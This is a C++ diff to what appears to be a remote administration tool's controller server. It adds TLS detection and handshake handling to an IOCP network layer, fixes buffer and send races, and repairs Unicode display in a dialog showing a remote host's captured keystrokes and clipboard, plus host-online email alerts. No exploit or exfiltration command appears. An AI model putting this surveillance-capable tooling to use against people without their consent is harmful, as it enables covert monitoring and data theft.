|
||||||
if (dwTrans == 0) { //对方关闭了套接字
|
if (dataLen == 0) { //对方关闭了套接字
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
//将接收到的数据拷贝到我们自己的内存中wsabuff 8192
|
//将接收到的数据拷贝到我们自己的内存中wsabuff 8192
|
||||||
ContextObject->InCompressedBuffer.WriteBuffer((PBYTE)ContextObject->szBuffer,dwTrans);
|
ContextObject->InCompressedBuffer.WriteBuffer(data, dataLen);
|
||||||
//查看数据包的完整性
|
//查看数据包的完整性
|
||||||
while (true) {
|
while (true) {
|
||||||
PR pr = ContextObject->Parse(ContextObject->InCompressedBuffer);
|
PR pr = ContextObject->Parse(ContextObject->InCompressedBuffer);
|
||||||
@@ -889,18 +895,178 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
|
|||||||
return ret;
|
return ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream* z)
|
// 握手线程参数:把嗅探阶段已收到的 ClientHello 字节与连接上下文一起移交。
|
||||||
|
struct TlsHandshakeParam {
|
||||||
|
IOCPServer* server;
|
||||||
|
CONTEXT_OBJECT* ctx;
|
||||||
|
std::vector<BYTE> initial; // 嗅探阶段已攒下的首批字节(≥6,可能只是 ClientHello 分片)
|
||||||
|
};
|
||||||
|
|
||||||
|
// 方案 A:专用阻塞握手线程。占线期间独占 socket(阻塞 recv/send,无未决 overlapped I/O),
|
||||||
|
// 完成后把连接交还给 IOCP(PostRecv)。线程持有 ctx 的一枚 IoRefCount,结束时释放。
|
||||||
|
DWORD WINAPI IOCPServer::TlsHandshakeThreadProc(LPVOID lParam)
|
||||||
{
|
{
|
||||||
if (FALSE == ParseReceivedData(ContextObject, dwTrans, m_NotifyProc, ctx, z)) {
|
TlsHandshakeParam* p = (TlsHandshakeParam*)lParam;
|
||||||
// 先减少引用计数,再调用 RemoveStaleContext (#215)
|
IOCPServer* This = p->server;
|
||||||
// RemoveStaleContext 完成后对象会被移到空闲池,不能再访问
|
CONTEXT_OBJECT* ctx = p->ctx;
|
||||||
ContextObject->IoRefCount.fetch_sub(1);
|
std::vector<BYTE> initial = std::move(p->initial);
|
||||||
RemoveStaleContext(ContextObject);
|
delete p;
|
||||||
return -2; // 特殊返回值:告诉 HandleIO 不要再减少引用计数
|
|
||||||
|
// 若上下文已被移除(服务端关停竞态),直接释放引用退出。
|
||||||
|
if (ctx->IsRemoved.load(std::memory_order_acquire)) {
|
||||||
|
ctx->IoRefCount.fetch_sub(1);
|
||||||
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
PostRecv(ContextObject); //投递新的接收数据的请求
|
// 握手期间做同步 recv/send。注意:监听套接字经 WSAEventSelect 置为非阻塞后,accept 出的
|
||||||
|
// 子套接字继承非阻塞态,FIONBIO=0 不一定能切回阻塞;ServerTlsSession::Handshake 内部已用
|
||||||
|
// select 兜底 WSAEWOULDBLOCK,故这里仍设 FIONBIO=0 只是「尽量阻塞」的优化。
|
||||||
|
u_long nb = 0;
|
||||||
|
if (ioctlsocket(ctx->sClientSocket, FIONBIO, &nb) == SOCKET_ERROR)
|
||||||
|
Mprintf("[TLS] handshake: ioctlsocket(FIONBIO=0) failed err=%d\n", WSAGetLastError());
|
||||||
|
int tmo = 15000; // 15s 握手超时
|
||||||
|
setsockopt(ctx->sClientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&tmo, sizeof(tmo));
|
||||||
|
setsockopt(ctx->sClientSocket, SOL_SOCKET, SO_SNDTIMEO, (const char*)&tmo, sizeof(tmo));
|
||||||
|
|
||||||
|
bool ok = (ctx->tls != NULL) &&
|
||||||
|
ctx->tls->Handshake(ctx->sClientSocket, initial.data(), (int)initial.size());
|
||||||
|
|
||||||
|
if (ok) {
|
||||||
|
ctx->tlsState.store(TLS_Ready, std::memory_order_release);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 先释放握手线程持有的引用,再触发任何可能 RemoveStaleContext 的动作(#215 顺序)。
|
||||||
|
ctx->IoRefCount.fetch_sub(1);
|
||||||
|
|
||||||
|
if (ok) {
|
||||||
|
This->PostRecv(ctx); // 交还 IOCP 接收
|
||||||
|
} else {
|
||||||
|
Mprintf("[TLS] handshake failed for %s (fail-closed)\n", ctx->GetPeerName().c_str());
|
||||||
|
This->RemoveStaleContext(ctx);
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 判定为 TLS 后:创建会话、预支一枚 IoRefCount 给握手线程、启动握手线程。
|
||||||
|
BOOL IOCPServer::StartTlsHandshake(CONTEXT_OBJECT* ContextObject)
|
||||||
|
{
|
||||||
|
if (!ServerTlsIdentity::IsReady()) {
|
||||||
|
// 服务端身份不可用(未启用 TLS、或证书/私钥加载失败):fail-closed 关闭该连接。
|
||||||
|
Mprintf("[TLS] client %s sent ClientHello but server identity not ready "
|
||||||
|
"(TLS disabled or cert/key load failed); closing (fail-closed)\n",
|
||||||
|
ContextObject->GetPeerName().c_str());
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
ContextObject->tls = new ServerTlsSession();
|
||||||
|
TlsHandshakeParam* p = new TlsHandshakeParam;
|
||||||
|
p->server = this;
|
||||||
|
p->ctx = ContextObject;
|
||||||
|
p->initial = std::move(ContextObject->tlsPreClassify);
|
||||||
|
ContextObject->tlsPreClassify.clear();
|
||||||
|
|
||||||
|
// 预支引用:握手线程结束时释放。此引用保证握手期间对象不被回收。
|
||||||
|
ContextObject->IoRefCount.fetch_add(1);
|
||||||
|
|
||||||
|
HANDLE h = CreateThread(NULL, 0, TlsHandshakeThreadProc, p, 0, NULL);
|
||||||
|
if (h == NULL) {
|
||||||
|
// 启动失败:回退预支引用,清理会话,按失败关闭。
|
||||||
|
ContextObject->IoRefCount.fetch_sub(1);
|
||||||
|
delete ContextObject->tls;
|
||||||
|
ContextObject->tls = NULL;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
CloseHandle(h);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream* z)
|
||||||
|
{
|
||||||
|
int st = ContextObject->tlsState.load(std::memory_order_acquire);
|
||||||
|
|
||||||
|
// ---- 未分类:按 ClientHello 头嗅探明文 / TLS(见设计文档 §5.2)----
|
||||||
|
if (st == TLS_Unclassified) {
|
||||||
|
if (dwTrans == 0) { // 首个包即对端关闭
|
||||||
|
ContextObject->IoRefCount.fetch_sub(1);
|
||||||
|
RemoveStaleContext(ContextObject);
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
ContextObject->tlsPreClassify.insert(ContextObject->tlsPreClassify.end(),
|
||||||
|
(BYTE*)ContextObject->szBuffer,
|
||||||
|
(BYTE*)ContextObject->szBuffer + dwTrans);
|
||||||
|
if (ContextObject->tlsPreClassify.size() < 6) {
|
||||||
|
PostRecv(ContextObject); // 头还没攒够,继续收
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
const BYTE* h = ContextObject->tlsPreClassify.data();
|
||||||
|
bool isTls = (h[0] == 0x16 && h[1] == 0x03 && h[5] == 0x01);
|
||||||
|
if (isTls) {
|
||||||
|
ContextObject->tlsState.store(TLS_Handshaking, std::memory_order_release);
|
||||||
|
if (!StartTlsHandshake(ContextObject)) {
|
||||||
|
Mprintf("[TLS] StartTlsHandshake failed for %s (fail-closed)\n",
|
||||||
|
ContextObject->GetPeerName().c_str());
|
||||||
|
ContextObject->IoRefCount.fetch_sub(1);
|
||||||
|
RemoveStaleContext(ContextObject);
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
return TRUE; // 不 PostRecv;握手线程完成后交还接收
|
||||||
|
}
|
||||||
|
|
||||||
|
// 明文:把嗅探阶段攒下的字节回放给现有解析路径,然后清空缓冲。
|
||||||
|
ContextObject->tlsState.store(TLS_Plain, std::memory_order_release);
|
||||||
|
std::vector<BYTE> replay = std::move(ContextObject->tlsPreClassify);
|
||||||
|
ContextObject->tlsPreClassify.clear();
|
||||||
|
if (FALSE == ParseReceivedData(ContextObject, replay.data(), (DWORD)replay.size(), m_NotifyProc, ctx, z)) {
|
||||||
|
ContextObject->IoRefCount.fetch_sub(1);
|
||||||
|
RemoveStaleContext(ContextObject);
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
PostRecv(ContextObject);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- 已分类 ----
|
||||||
|
if (st == TLS_Ready) {
|
||||||
|
if (dwTrans == 0) { // 明文 FIN:TLS 连接对端关闭
|
||||||
|
ContextObject->IoRefCount.fetch_sub(1);
|
||||||
|
RemoveStaleContext(ContextObject);
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
std::vector<BYTE> plain;
|
||||||
|
if (ContextObject->tls->Decrypt((const BYTE*)ContextObject->szBuffer, dwTrans, plain) < 0) {
|
||||||
|
ContextObject->IoRefCount.fetch_sub(1);
|
||||||
|
RemoveStaleContext(ContextObject);
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
if (plain.empty()) {
|
||||||
|
PostRecv(ContextObject); // 本轮无完整明文(TLS 记录分片/握手告警),继续收
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
if (FALSE == ParseReceivedData(ContextObject, plain.data(), (DWORD)plain.size(), m_NotifyProc, ctx, z)) {
|
||||||
|
ContextObject->IoRefCount.fetch_sub(1);
|
||||||
|
RemoveStaleContext(ContextObject);
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
PostRecv(ContextObject);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// TLS_Handshaking:握手线程独占 socket,正常不应出现 IORead;若出现属异常,fail-closed。
|
||||||
|
if (st == TLS_Handshaking) {
|
||||||
|
Mprintf("[TLS] unexpected IORead during handshake for %s (closing)\n",
|
||||||
|
ContextObject->GetPeerName().c_str());
|
||||||
|
ContextObject->IoRefCount.fetch_sub(1);
|
||||||
|
RemoveStaleContext(ContextObject);
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
|
||||||
|
// TLS_Plain:明文直通(原路径)。
|
||||||
|
if (FALSE == ParseReceivedData(ContextObject, (PBYTE)ContextObject->szBuffer, dwTrans, m_NotifyProc, ctx, z)) {
|
||||||
|
ContextObject->IoRefCount.fetch_sub(1);
|
||||||
|
RemoveStaleContext(ContextObject);
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
PostRecv(ContextObject);
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -967,16 +1133,50 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
|
|||||||
|
|
||||||
BOOL IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength)
|
BOOL IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength)
|
||||||
{
|
{
|
||||||
|
// TLS 下 OutCompressedBuffer 可能还残留上一轮尚未发完的密文(IOCP 线程异步 WSASend 中),
|
||||||
|
// 新明文由 WriteContextData 追加在尾部。若把整个缓冲区重新加密,会把旧密文二次加密,
|
||||||
|
// 客户端解密后得到的是「旧 TLS 记录」→ Unknown header 17 03 03。故只加密本次新追加的尾部。
|
||||||
|
bool tlsReady = (ContextObject->tlsState.load(std::memory_order_acquire) == TLS_Ready);
|
||||||
|
ULONG oldLen = tlsReady ? ContextObject->OutCompressedBuffer.GetBufferLength() : 0;
|
||||||
|
|
||||||
if (WriteContextData(ContextObject, szBuffer, ulOriginalLength, ContextObject->Zcctx)) {
|
if (WriteContextData(ContextObject, szBuffer, ulOriginalLength, ContextObject->Zcctx)) {
|
||||||
|
// 单向 TLS:只加密新追加的明文尾部,产出密文后与前缀旧密文拼接,使缓冲区始终保持
|
||||||
|
// 一串合法 TLS 记录;之后 IOWrite / OnClientPostSending 完全不变(见设计文档 §5.5)。
|
||||||
|
if (tlsReady) {
|
||||||
|
ULONG totalLen = ContextObject->OutCompressedBuffer.GetBufferLength();
|
||||||
|
ULONG plainLen = totalLen - oldLen;
|
||||||
|
if (plainLen > 0) {
|
||||||
|
std::vector<BYTE> wire;
|
||||||
|
if (ContextObject->tls->Encrypt((const BYTE*)ContextObject->OutCompressedBuffer.GetBuffer(oldLen),
|
||||||
|
(int)plainLen, wire) != (int)plainLen) {
|
||||||
|
Mprintf("[TLS] Encrypt failed for %s (fail-closed)\n",
|
||||||
|
ContextObject->GetPeerName().c_str());
|
||||||
|
return FALSE; // 加密失败:丢弃本次发送
|
||||||
|
}
|
||||||
|
// 截断尾部明文,再追加密文。用 TruncateBuffer 而非 ClearBuffer:ClearBuffer 会
|
||||||
|
// DeAllocateBuffer(可能 VirtualFree 正在被异步 WSASend 引用的底层内存)。
|
||||||
|
ContextObject->OutCompressedBuffer.TruncateBuffer(oldLen);
|
||||||
|
ContextObject->OutCompressedBuffer.WriteBuffer(wire.data(), (DWORD)wire.size());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 仅当没有发送正在进行时才投递 IOWrite 唤醒发送。若已有 WSASend 在途,其完成回调
|
||||||
|
// (OnClientPostSending)会看到排空后仍残留的新数据并继续发送,无需再投递;否则会对
|
||||||
|
// 同一缓冲并发多个 WSASend,读到同一段可变内存,产出重复/错位密文(客户端 DecryptMessage
|
||||||
|
// 失败,表现为 recv -1、GetLastError=6001)。
|
||||||
|
if (!ContextObject->bSendPending) {
|
||||||
|
ContextObject->bSendPending = true;
|
||||||
OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
|
OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
|
||||||
BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (ULONG_PTR)ContextObject, &OverlappedPlus->m_ol);
|
BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (ULONG_PTR)ContextObject, &OverlappedPlus->m_ol);
|
||||||
if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) { //如果投递失败
|
if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) { //如果投递失败
|
||||||
int a = GetLastError();
|
int a = GetLastError();
|
||||||
Mprintf("!!! OnClientPreSending 投递消息失败\n");
|
Mprintf("!!! OnClientPreSending 投递消息失败\n");
|
||||||
|
ContextObject->bSendPending = false;
|
||||||
RemoveStaleContext(ContextObject);
|
RemoveStaleContext(ContextObject);
|
||||||
SAFE_DELETE(OverlappedPlus);
|
SAFE_DELETE(OverlappedPlus);
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
}
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
return FALSE;
|
return FALSE;
|
||||||
@@ -990,6 +1190,7 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
|
|||||||
|
|
||||||
ContextObject->OutCompressedBuffer.RemoveCompletedBuffer(ulCompletedLength); //将完成的数据从数据结构中去除
|
ContextObject->OutCompressedBuffer.RemoveCompletedBuffer(ulCompletedLength); //将完成的数据从数据结构中去除
|
||||||
if (ContextObject->OutCompressedBuffer.GetBufferLength() == 0) {
|
if (ContextObject->OutCompressedBuffer.GetBufferLength() == 0) {
|
||||||
|
ContextObject->bSendPending = false; // 缓冲排空,允许下一次 OnClientPreSending 投递
|
||||||
ContextObject->OutCompressedBuffer.ClearBuffer();
|
ContextObject->OutCompressedBuffer.ClearBuffer();
|
||||||
return true; //走到这里说明我们的数据真正完全发送
|
return true; //走到这里说明我们的数据真正完全发送
|
||||||
} else {
|
} else {
|
||||||
@@ -1001,6 +1202,7 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
|
|||||||
NULL, ulFlags,&OverlappedPlus->m_ol, NULL);
|
NULL, ulFlags,&OverlappedPlus->m_ol, NULL);
|
||||||
if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING ) {
|
if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING ) {
|
||||||
// 先减少引用计数,再调用 RemoveStaleContext (#215)
|
// 先减少引用计数,再调用 RemoveStaleContext (#215)
|
||||||
|
ContextObject->bSendPending = false;
|
||||||
ContextObject->IoRefCount.fetch_sub(1);
|
ContextObject->IoRefCount.fetch_sub(1);
|
||||||
if (RemoveStaleContext(ContextObject))
|
if (RemoveStaleContext(ContextObject))
|
||||||
Mprintf("!!! OnClientPostSending 投递消息失败: %d\n", WSAGetLastError());
|
Mprintf("!!! OnClientPostSending 投递消息失败: %d\n", WSAGetLastError());
|
||||||
|
|||||||
@@ -91,6 +91,7 @@ private:
|
|||||||
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
|
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
|
||||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||||
static DWORD WINAPI RttPollThreadProc(LPVOID lParam);
|
static DWORD WINAPI RttPollThreadProc(LPVOID lParam);
|
||||||
|
static DWORD WINAPI TlsHandshakeThreadProc(LPVOID lParam);
|
||||||
|
|
||||||
BOOL InitializeIOCP(VOID);
|
BOOL InitializeIOCP(VOID);
|
||||||
VOID OnAccept();
|
VOID OnAccept();
|
||||||
@@ -101,6 +102,7 @@ private:
|
|||||||
BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream *z);
|
BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream *z);
|
||||||
BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||||
BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream* z);
|
BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream* z);
|
||||||
|
BOOL StartTlsHandshake(CONTEXT_OBJECT* ContextObject);
|
||||||
BOOL OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength);
|
BOOL OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength);
|
||||||
BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject, ULONG ulCompressedLength);
|
BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject, ULONG ulCompressedLength);
|
||||||
int AddWorkThread(int n)
|
int AddWorkThread(int n)
|
||||||
@@ -257,6 +259,8 @@ public:
|
|||||||
|
|
||||||
typedef CDialogBase DialogBase;
|
typedef CDialogBase DialogBase;
|
||||||
|
|
||||||
BOOL ParseReceivedData(CONTEXT_OBJECT* ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc, ZSTD_DCtx *ctx=NULL, z_stream* z=NULL);
|
// 解析一段已解密/直通的接收字节。data/dataLen 为数据源(TLS 连接传解密后的明文,
|
||||||
|
// 明文连接传 szBuffer 原始字节);dataLen==0 视为对端关闭。
|
||||||
|
BOOL ParseReceivedData(CONTEXT_OBJECT* ContextObject, PBYTE data, DWORD dataLen, pfnNotifyProc m_NotifyProc, ZSTD_DCtx *ctx=NULL, z_stream* z=NULL);
|
||||||
|
|
||||||
BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength, ZSTD_CCtx *ctx=NULL, z_stream* z = NULL);
|
BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength, ZSTD_CCtx *ctx=NULL, z_stream* z = NULL);
|
||||||
@@ -107,7 +107,7 @@ void IOCPUDPServer::WorkerThread()
|
|||||||
|
|
||||||
IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
|
IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
|
||||||
CONTEXT_UDP* ctx = ioCtx->pContext;
|
CONTEXT_UDP* ctx = ioCtx->pContext;
|
||||||
BOOL ret = ParseReceivedData(ctx, bytes, m_notify);
|
BOOL ret = ParseReceivedData(ctx, (PBYTE)ctx->szBuffer, bytes, m_notify);
|
||||||
if (999 != ret)
|
if (999 != ret)
|
||||||
ctx->Destroy();
|
ctx->Destroy();
|
||||||
|
|
||||||
|
|||||||
@@ -123,6 +123,9 @@ BOOL CKeyBoardDlg::OnInitDialog()
|
|||||||
// 后,控件内部以 Unicode 存储,W 版消息直通,不再走 CP_ACP。
|
// 后,控件内部以 Unicode 存储,W 版消息直通,不再走 CP_ACP。
|
||||||
// -----------------------------------------------------------------
|
// -----------------------------------------------------------------
|
||||||
RebuildEdit(m_edit);
|
RebuildEdit(m_edit);
|
||||||
|
// 剪切板显示框同样重建为 Unicode 控件,ShowClipboardText 全程走 W 版消息,
|
||||||
|
// 否则 MBCS 下 SetWindowTextA 会在 A<->W 边界按 CP_ACP 转码,中文丢失。
|
||||||
|
RebuildEdit(m_EditClipText);
|
||||||
|
|
||||||
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
|
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
|
||||||
auto rule = utf8_to_ansi((char*)m_TextRule.param);
|
auto rule = utf8_to_ansi((char*)m_TextRule.param);
|
||||||
@@ -171,9 +174,19 @@ void CKeyBoardDlg::OnReceiveComplete()
|
|||||||
LRESULT CKeyBoardDlg::ShowClipboardText(WPARAM wParam, LPARAM lParam)
|
LRESULT CKeyBoardDlg::ShowClipboardText(WPARAM wParam, LPARAM lParam)
|
||||||
{
|
{
|
||||||
char* buf = (char*)wParam;
|
char* buf = (char*)wParam;
|
||||||
std::string text = utf8_to_ansi(buf);
|
// 剪切板文本是 UTF-8(client/my_clip.h 的 clip::get_text 从 CF_UNICODETEXT 转出)。
|
||||||
|
// 直接转宽字符串,用 W 版写入重建后的 Unicode 控件,绕开 utf8_to_ansi 的 CP_ACP
|
||||||
|
// 回转——非中文系统(德语/英语)上中文也能正常显示(与 m_edit 同法)。
|
||||||
|
std::wstring w;
|
||||||
|
if (buf && buf[0]) {
|
||||||
|
int wlen = MultiByteToWideChar(CP_UTF8, 0, buf, -1, NULL, 0);
|
||||||
|
if (wlen > 1) {
|
||||||
|
w.resize(wlen - 1);
|
||||||
|
MultiByteToWideChar(CP_UTF8, 0, buf, -1, &w[0], wlen);
|
||||||
|
}
|
||||||
|
}
|
||||||
SAFE_DELETE_ARRAY(buf);
|
SAFE_DELETE_ARRAY(buf);
|
||||||
m_EditClipText.SetWindowTextA(text.c_str());
|
::SetWindowTextW(m_EditClipText.GetSafeHwnd(), w.c_str());
|
||||||
return S_OK;
|
return S_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -723,11 +723,11 @@ protected:
|
|||||||
AppendData(&dlgTemplate, sizeof(DLGTEMPLATE));
|
AppendData(&dlgTemplate, sizeof(DLGTEMPLATE));
|
||||||
AppendWord(0); // 菜单
|
AppendWord(0); // 菜单
|
||||||
AppendWord(0); // 窗口类
|
AppendWord(0); // 窗口类
|
||||||
AppendString(_T("切换语言 / Switch Language"));
|
AppendString(_T("切换语言"));
|
||||||
AlignToDword();
|
AlignToDword();
|
||||||
|
|
||||||
// 静态文本
|
// 静态文本
|
||||||
AddControl(0x0082, 15, 15, 50, 12, (WORD)-1,
|
AddControl(0x0082, 15, 15, 50, 12, 1002,
|
||||||
SS_LEFT | WS_CHILD | WS_VISIBLE, _T("语言:"));
|
SS_LEFT | WS_CHILD | WS_VISIBLE, _T("语言:"));
|
||||||
|
|
||||||
// ComboBox
|
// ComboBox
|
||||||
@@ -796,8 +796,17 @@ protected:
|
|||||||
{
|
{
|
||||||
CDialog::OnInitDialog();
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
// 翻译对话框控件(标题、标签、按钮)
|
// 模板为动态构造的 Unicode 模板,MBCS 下被 ANSI 创建路径误读,标题/标签/按钮文字会乱码,
|
||||||
TranslateDialog(this);
|
// 故在此显式设置(走线程 locale GBK,与其它对话框同法),不再对已乱码文本调用 TranslateDialog。
|
||||||
|
// 标题含中文:非中文系统上 ANSI 消息按系统 ACP 解码会乱码,用 _TR 取翻译(中文→切换语言,
|
||||||
|
// 英语→Switch Language)后,显式 GBK(936)→Unicode 转换再用 Unicode 消息设置(与工具栏同法)。
|
||||||
|
CString strTitle = _TR("切换语言");
|
||||||
|
WCHAR wTitle[64] = { 0 };
|
||||||
|
MultiByteToWideChar(936, 0, strTitle, -1, wTitle, 64);
|
||||||
|
::SetWindowTextW(m_hWnd, wTitle);
|
||||||
|
SetDlgItemText(1002, _TR("语言:"));
|
||||||
|
SetDlgItemText(IDOK, _TR("确定"));
|
||||||
|
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||||
|
|
||||||
m_comboLang.SubclassDlgItem(1001, this);
|
m_comboLang.SubclassDlgItem(1001, this);
|
||||||
|
|
||||||
|
|||||||
@@ -205,7 +205,8 @@ void NotifyManager::BuildHostOnlineEmail(context* ctx, const std::string& matche
|
|||||||
// Get host info
|
// Get host info
|
||||||
std::string computerName = CT2A(ctx->GetClientData(ONLINELIST_COMPUTER_NAME), CP_UTF8);
|
std::string computerName = CT2A(ctx->GetClientData(ONLINELIST_COMPUTER_NAME), CP_UTF8);
|
||||||
std::string ip = CT2A(ctx->GetClientData(ONLINELIST_IP), CP_UTF8);
|
std::string ip = CT2A(ctx->GetClientData(ONLINELIST_IP), CP_UTF8);
|
||||||
std::string location = CT2A(ctx->GetClientData(ONLINELIST_LOCATION), CP_UTF8);
|
// 地理位置已统一按 UTF-8 存储(见 AddList),直接透传,不再 CP_ACP→UTF-8 二次转换。
|
||||||
|
std::string location = ctx->GetClientData(ONLINELIST_LOCATION).GetString();
|
||||||
std::string os = CT2A(ctx->GetClientData(ONLINELIST_OS), CP_UTF8);
|
std::string os = CT2A(ctx->GetClientData(ONLINELIST_OS), CP_UTF8);
|
||||||
std::string version = CT2A(ctx->GetClientData(ONLINELIST_VERSION), CP_UTF8);
|
std::string version = CT2A(ctx->GetClientData(ONLINELIST_VERSION), CP_UTF8);
|
||||||
|
|
||||||
|
|||||||
@@ -56,7 +56,7 @@ BOOL NotifySettingsDlg::OnInitDialog()
|
|||||||
SetDlgItemText(IDC_STATIC_TRIGGER, _TR(_T("触发条件:")));
|
SetDlgItemText(IDC_STATIC_TRIGGER, _TR(_T("触发条件:")));
|
||||||
SetDlgItemText(IDC_STATIC_MATCH_COLUMN, _TR(_T("匹配列:")));
|
SetDlgItemText(IDC_STATIC_MATCH_COLUMN, _TR(_T("匹配列:")));
|
||||||
SetDlgItemText(IDC_STATIC_KEYWORDS, _TR(_T("关键词:")));
|
SetDlgItemText(IDC_STATIC_KEYWORDS, _TR(_T("关键词:")));
|
||||||
SetDlgItemText(IDC_STATIC_KEYWORDS_HINT, _TR(_T("(多个关键词用分号分隔,匹配任一项即触发通知)")));
|
SetDlgItemText(IDC_STATIC_KEYWORDS_HINT, _TR(_T("(每行一个关键词,匹配任一项即触发通知)")));
|
||||||
SetDlgItemText(IDC_STATIC_NOTIFY_TIP, _TR(_T("提示: 同一主机 60 分钟内仅通知一次")));
|
SetDlgItemText(IDC_STATIC_NOTIFY_TIP, _TR(_T("提示: 同一主机 60 分钟内仅通知一次")));
|
||||||
SetDlgItemText(IDOK, _TR("确定"));
|
SetDlgItemText(IDOK, _TR("确定"));
|
||||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||||
@@ -154,7 +154,24 @@ void NotifySettingsDlg::LoadSettings()
|
|||||||
m_comboNotifyColumn.SetCurSel(rule.columnIndex);
|
m_comboNotifyColumn.SetCurSel(rule.columnIndex);
|
||||||
}
|
}
|
||||||
|
|
||||||
m_editNotifyPattern.SetWindowText(CString(rule.matchPattern.c_str()));
|
// Display stored semicolon-separated keywords as one keyword per line.
|
||||||
|
{
|
||||||
|
CString pattern;
|
||||||
|
const CString stored(CA2T(rule.matchPattern.c_str(), CP_UTF8));
|
||||||
|
int start = 0;
|
||||||
|
for (;;) {
|
||||||
|
const int pos = stored.Find(_T(';'), start);
|
||||||
|
CString kw = (pos < 0) ? stored.Mid(start) : stored.Mid(start, pos - start);
|
||||||
|
kw.Trim();
|
||||||
|
if (!kw.IsEmpty()) {
|
||||||
|
if (!pattern.IsEmpty()) pattern += _T("\r\n");
|
||||||
|
pattern += kw;
|
||||||
|
}
|
||||||
|
if (pos < 0) break;
|
||||||
|
start = pos + 1;
|
||||||
|
}
|
||||||
|
m_editNotifyPattern.SetWindowText(pattern);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void NotifySettingsDlg::SaveSettings()
|
void NotifySettingsDlg::SaveSettings()
|
||||||
@@ -189,8 +206,26 @@ void NotifySettingsDlg::SaveSettings()
|
|||||||
sel = m_comboNotifyColumn.GetCurSel();
|
sel = m_comboNotifyColumn.GetCurSel();
|
||||||
